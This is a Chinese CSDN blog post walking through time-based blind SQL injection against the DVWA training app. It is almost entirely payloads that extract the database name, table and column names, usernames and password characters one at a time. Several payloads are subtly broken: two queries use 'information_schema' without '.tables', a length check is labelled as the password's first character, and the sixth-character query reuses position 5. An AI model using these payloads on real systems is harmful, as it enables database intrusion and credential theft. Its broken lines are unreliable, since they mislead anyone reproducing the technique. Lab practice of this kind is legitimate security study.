时间盲注1

文章详细描述了如何通过SQL注入技术来判断数据库类型、获取数据库名、表名、字段数、字段内容以及特定用户数据,展示了利用SQL查询进行安全漏洞测试的方法。
摘要由CSDN通过智能技术生成

1.判断注入类型
1 and sleep(3) 无延迟
1' and sleep(3)# 有延迟
结论:注入类型为字符串类型

2.判断数据库名
获取数据库名
1' and if(length(database())=4,sleep(5),1)#
获取第一个字符d
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
获取第二个字符v
1' and if(ascii(substr(database(),2,1))=118,sleep(5),1)#
获取第三个字符w
1' and if(ascii(substr(database(),3,1))=119,sleep(5),1)#
获取第四个字符a
1' and if(ascii(substr(database(),4,1))=97,sleep(5),1)#
结论:数据表名为dvwa

3.数据表名
判断表的个数
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)#
结论:dvwa有两张表

第二个数据表记录
select table_name from information_schema where table_schema=database() limit 1,1
第二个数据表名的完整字符串
substr((select table_name from information_schema where table_schema=database() limit 1,1),1)
第二给表名的完整字符串的长度
1' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)))=5,sleep(5),1)#
结论:第一个表的长度为5

获取第二个表的第一个字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117,sleep(5),1)#
获取第二个表的第二个字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115,sleep(5),1)#
获取第二个表的第三个字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101,sleep(5),1)#
获取第二个表的第四个字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114,sleep(5),1)#
获取第二个表的第五个字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115,sleep(5),1)#
结论:第二个表名为users

5.字段名
获取users的字段数
1' and if((select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')=8,sleep(5),1)#
结论:users表有8个字段

获取user字段长度
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 3,1),1))=4,sleep(5),1)#
结论:user的长度为4

获取user的第一个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 3,1),1,1))=117,sleep(5),1)#
获取user的第二个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 3,1),2,1))=115,sleep(5),1)#
获取user的第三个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 3,1),3,1))=101,sleep(5),1)#
获取user的第四个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 3,1),4,1))=114,sleep(5),1)#

6.数据

获取smithy的passwd
密码的第一个字符
1' and if(length(substr((select password from users where user='smithy'limit 0,1),1))=112,sleep(5),1)#
密码的第二个字符
1' and if(ascii(substr((select password from users where user='smithy' limit 0,1),1,1))=97,sleep(5),1)#
密码的第三个字符
1' and if(ascii(substr((select password from users where user='smithy' limit 0,1),2,1))=115,sleep(5),1)#

6.数据
获取user记录数
1' and if((select count(user) from users)=5,sleep(5),1)#
结论:user有5条记录

获取smithy的长度
1' and if(length(substr((select user from users limit 4,1),1))=6,sleep(5),1)#

smithy的第一个字符
1' and if(ascii(substr((select user from users limit 4,1),1,1))=115,sleep(5),1)#
smithy的第二个字符
1' and if(ascii(substr((select user from users limit 4,1),2,1))=109,sleep(5),1)#
smithy的第三个字符
1' and if(ascii(substr((select user from users limit 4,1),3,1))=105,sleep(5),1)#
smithy的第四个字符
1' and if(ascii(substr((select user from users limit 4,1),4,1))=116,sleep(5),1)#
smithy的第五个字符
1' and if(ascii(substr((select user from users limit 4,1),5,1))=104,sleep(5),1)#
smithy的第六个字符
1' and if(ascii(substr((select user from users limit 4,1),5,1))=121,sleep(5),1)#

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值